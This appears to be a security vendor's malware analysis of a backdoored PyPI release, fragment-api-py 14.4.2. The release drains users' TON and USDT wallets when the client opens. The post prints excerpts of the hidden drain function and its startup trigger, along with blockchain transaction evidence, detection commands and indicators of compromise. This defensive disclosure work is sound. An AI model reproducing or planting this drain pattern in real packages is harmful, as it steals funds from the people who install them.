Backdoored PyPI Package fragment-api-py 14.4.2 Drains TON Wallets on Startup
On this page
TL;DR
fragment-api-py is a Python client for Telegram’s Fragment marketplace. To pay for purchases, it holds the user’s wallet seed for The Open Network (TON). Version 14.4.2, published to PyPI on 2026-11-08, empties that wallet. When the client opens, it sends all Tether (USDT) and almost all TON to a wallet that the attacker controls. The normal async with FragmentClient(seed=...) line triggers it, before any purchase.
Two wallets lost 0.88 TON and 43.98 TON. GitHub issue #8(opens in new tab) reports the second drain.
An old release with a new version number
A diff of 14.4.2 against 14.4.1 is large and confusing. Modules are missing, other modules are new, and almost every file changed. It looks like a bad refactor.
A byte-for-byte comparison of 14.4.2 with every earlier release wheel points to an older base:
12.1.0 identical=0 changed=28 added=4 removed=0
13.0.0 identical=28 changed=4 added=0 removed=2
14.0.0 identical=24 changed=8 added=0 removed=12
14.4.1 identical=10 changed=14 added=8 removed=21
Closest base: 13.0.0 (28/32 files identical)
changed: __init__.py, client.py, types/models.py, utils/wallet.py
removed: tests/test_client.py, tests/test_preparation.py
14.4.2 is the 13.0.0 release with a backdoor in three files and a higher version number. The higher number makes pip install -U select it. In __init__.py, only the version string changed.
File timestamps in the source archive show that the attacker wrote the backdoor on 2026-10-12 and published it on 2026-11-08, about four weeks later.
The drain function
The theft is in sweep_wallet_to_self(). The name makes it look like a “consolidate funds” feature. It uses the library’s own lock, provider, and error types, and it returns a SweepResult model like the real API calls. Line 172 hardcodes the destination:
def sweep_amounts(balance_nanoton: int, usdt_units: int) -> tuple[int, int]:
...
usdt_gas = 60_000_000 if usdt_units > 0 else 0
required = 100_000_000 + usdt_gas + 20_000_000
...
return usdt_gas, balance_nanoton - required
async def sweep_wallet_to_self(client: FragmentClient) -> SweepResult:
client._require_wallet()
async with client._wallet_lock:
async with _make_ton_client(client) as ton:
wallet, _, _, _ = WALLET_CLASSES[client.wallet_version].from_mnemonic(
client=ton, mnemonic=client.seed
)
owner = wallet.address.to_str(is_user_friendly=False)
dest = Address("UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU") # line 172
state = await ton.get_info(wallet.address)
balance = int(state.balance)
usdt_units = await _get_usdt_units(ton, owner)
usdt_gas, gram_amount = sweep_amounts(balance, usdt_units)
builders = []
if usdt_units > 0:
builders.append(JettonTransferBuilder(
destination=dest, jetton_amount=usdt_units,
jetton_master_address=Address(USDT_TON_MASTER_ADDRESS),
response_address=wallet.address, amount=usdt_gas,
))
if gram_amount > 0:
builders.append(TONTransferBuilder(destination=dest, amount=gram_amount))
...
result = await wallet.batch_transfer_message(builders) # one atomic messageThe function leaves only enough TON to pay the fees. That is 0.1 TON for the transfer and 0.02 TON as a margin, plus 0.06 TON if the wallet holds USDT. It sends everything else, TON and USDT, in one wallet message.
The trigger
The backdoor runs when the client opens, before any user code. The attacker added one call to __aenter__ at client.py:295:
async def __aenter__(self) -> FragmentClient:
"""Enter the asynchronous client context."""
self._get_transport()
await self._ensure_swept()
return self
async def _ensure_swept(self) -> None:
if not self._sweep_on_init or self._sweep_done:
return
async with self._sweep_lock:
if self._sweep_done:
return
if not self.has_wallet:
raise ConfigurationError(ConfigurationError.SEED_REQUIRED)
await self.sweep_to_self()
self._sweep_done = TrueA second call at the start of execute_prepared() (utils/wallet.py:410) catches code that does not use async with. A flag and a lock make sure the drain runs only once per client, so the wallet history does not show repeated transfers.
Where the money went
The attacker wallet is UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU. Its history shows both victims and one cash-out.
| Time (UTC) | Direction | Amount (TON) | Counterparty |
|---|---|---|---|
| 2026-11-08 18:19 | In | 0.879963599 | Victim 1 |
| 2026-11-09 23:02 | In | 43.982037696 | Victim 2 (reported in issue #8) |
| 2026-11-09 23:18 | In | 0.010000000 | Victim 2 |
| 2026-11-10 07:11 | Out | 44.871449124 | UQDJvvp…lVYbM8 |
The three inflows total 44.872001295 TON. The cash-out is the same amount minus network fees.
Victim 1 did not report the theft. SafeDep found it in the attacker wallet history. The amount matches the formula. The wallet held 0.999963599 TON, and 0.999963599 − 0.12 = 0.879963599. Three seconds later, the same wallet paid the library’s own FEE_ADDRESS from types/constants.py. This shows that fragment-api-py was running for that wallet. The drain happened about six hours after the upload, so the backdoor stole funds on its first day.
The attacker wallet has been active since at least 2026-10-22. On November 1, it received and sent about 1,000 TON. It also made recurring payments to one address on October 30, 31, and November 1. The IOC list includes both recipients as unattributed leads for exchanges and investigators.
How the release reached PyPI
- No tag or commit. GitHub tags end at
v14.4.1. Every other recent release has a tag. - Long-lived token. The release workflow publishes with a PyPI API token, and the maintainer builds most releases locally.
- Same build profile. The 14.4.2 wheel came from a Windows machine set to UTC+4, like the maintainer’s local builds. An attacker can fake this, so it does not prove who uploaded the release. A compromised machine, a stolen token, or an insider all fit. Only PyPI and the maintainer can see which credential they used.
What to do
Run vet(opens in new tab) in your project to find known malicious packages in its manifests and lockfiles. Then check the installed version and search site-packages for the backdoor strings:
$ vet scan -D .
$ pip show fragment-api-py | grep Version
$ grep -rn "UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU\|sweep_wallet_to_self\|_ensure_swept" $(python3 -c 'import site;print(" ".join(site.getsitepackages()))') 2>/dev/nullIndicators of compromise
| Row | type | value | role | first_seen_utc | notes |
|---|---|---|---|---|---|
| 1 | package | pkg:pypi/fragment-api-py@14.4.2 | malicious release | 2026-11-08T12:12 | only this version; deleted from PyPI; no GitHub tag; built from 13.0.0 |
| 2 | sha256 | 24c402f3c47e3d8bc29597d000def922fa507970e47322d6fd7f28a4d253d447 | malicious artifact | 2026-11-08T12:12 | fragment_api_py-14.4.2-py3-none-any.whl (67491 bytes) |
| 3 | blake2b-256 | bbf72edbdbf0bbd04d9fb1ab03d736b384b0afdfaeffd3979051b3d83ce3772d | malicious artifact | 2026-11-08T12:12 | fragment_api_py-14.4.2-py3-none-any.whl; PyPI path packages/bb/f7/2edb... |
| 4 | sha256 | f046a53fa9007ff4cecc3ca7c5811b3fe44b09905af162d260885d091519531e | malicious artifact | 2026-11-08T12:12 | fragment_api_py-14.4.2.tar.gz (57595 bytes) |
| 5 | blake2b-256 | df054024f33039dd480ceb888368fc4d04d28eff601f0fbbfb8c3bc768d71882 | malicious artifact | 2026-11-08T12:12 | fragment_api_py-14.4.2.tar.gz; PyPI path packages/df/05/4024... |
| 6 | sha256 | 356850fb88116cb9a9d84ab5af5c21c6a3e3c06e41d4eafb1047dad68c718aa9 | malicious file | 2026-11-08T12:12 | FragmentAPI/utils/wallet.py (sweep_wallet_to_self; hardcoded address at line 172) |
| 7 | sha256 | 8bc3211ec1aac493181decdb15dc75887c187601fd9e85174bb3f6dfcd8214c7 | malicious file | 2026-11-08T12:12 | FragmentAPI/client.py (_ensure_swept trigger in __aenter__) |
| 8 | sha256 | 384ceb536d9d2f2d2efe0a05a5a1c0e619371b5d5872da8172d12ed530a33b1e | malicious file | 2026-11-08T12:12 | FragmentAPI/types/models.py (SweepResult) |
| 9 | sha256 | 0fa1040821dc03bd959654269b4ca9e42e9113af2b63e2dde591f9cb462d8bf1 | malicious file | 2026-11-08T12:12 | FragmentAPI/__init__.py (version bump to 14.4.2) |
| 10 | code_string | sweep_wallet_to_self | code marker | 2026-11-08T12:12 | FragmentAPI/utils/wallet.py:163 |
| 11 | code_string | _ensure_swept | code marker | 2026-11-08T12:12 | FragmentAPI/client.py:295/302; FragmentAPI/utils/wallet.py:410 |
| 12 | code_string | _sweep_on_init | code marker | 2026-11-08T12:12 | FragmentAPI/client.py:165 |
| 13 | ton_address | UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU | attacker drain wallet | 2026-10-22 | hardcoded in payload; wallet v4r2; active since at least 2026-10-22 |
| 14 | ton_address | 0:2895f0bb7f27ffff41fed46cc6f72e59b55d823c2ef20e7a385b671256e62527 | attacker drain wallet (raw) | 2026-10-22 | same as UQAolfC7... |
| 15 | ton_address | UQDJvvpXs4bDBVBwnmchy4nJ-Y25Ck4RBfHzQI240qlVYbM8 | onward destination | 2026-11-10T07:11:59 | received 44.871449124 TON = both victims' funds minus fees |
| 16 | ton_address | 0:c9befa57b386c30550709e6721cb89c9f98db90a4e1105f1f3408db8d2a95561 | onward destination (raw) | 2026-11-10T07:11:59 | same as UQDJvvp... |
| 17 | ton_tx | SB60GTv+yhcRHBFV2H3KKCDKk3VXhoNf+/58FJAWfcU= | victim 1 drain | 2026-11-08T18:19:30 | base64 tx hash; 0.879963599 TON to attacker |
| 18 | ton_tx | 75750f71be9253551faf6b464fa5866ada16b86f2a17a00c2c230fedaa584121 | victim 2 drain | 2026-11-09T23:02:47 | lt 115624342000005; 43.982037696 TON to attacker |
| 19 | ton_address | UQBrcPtKG-EPFP2X3cSyhcPofLsLOBm6ueevhO7p_5au4qvw | related (unattributed) | 2026-11-01T17:34:08 | received 1006.54 TON from attacker wallet |
| 20 | ton_address | EQCFJEP4WZ_mpdo0_kMEmsTgvrMHG7K_tWY16pQhKHwoOoy2 | related (unattributed) | 2026-10-30 | recurring recipient of attacker-wallet payments |
- supply-chain
- pypi
- malware
- crypto
- wallet-drainer
- telegram
Author
safedep.io
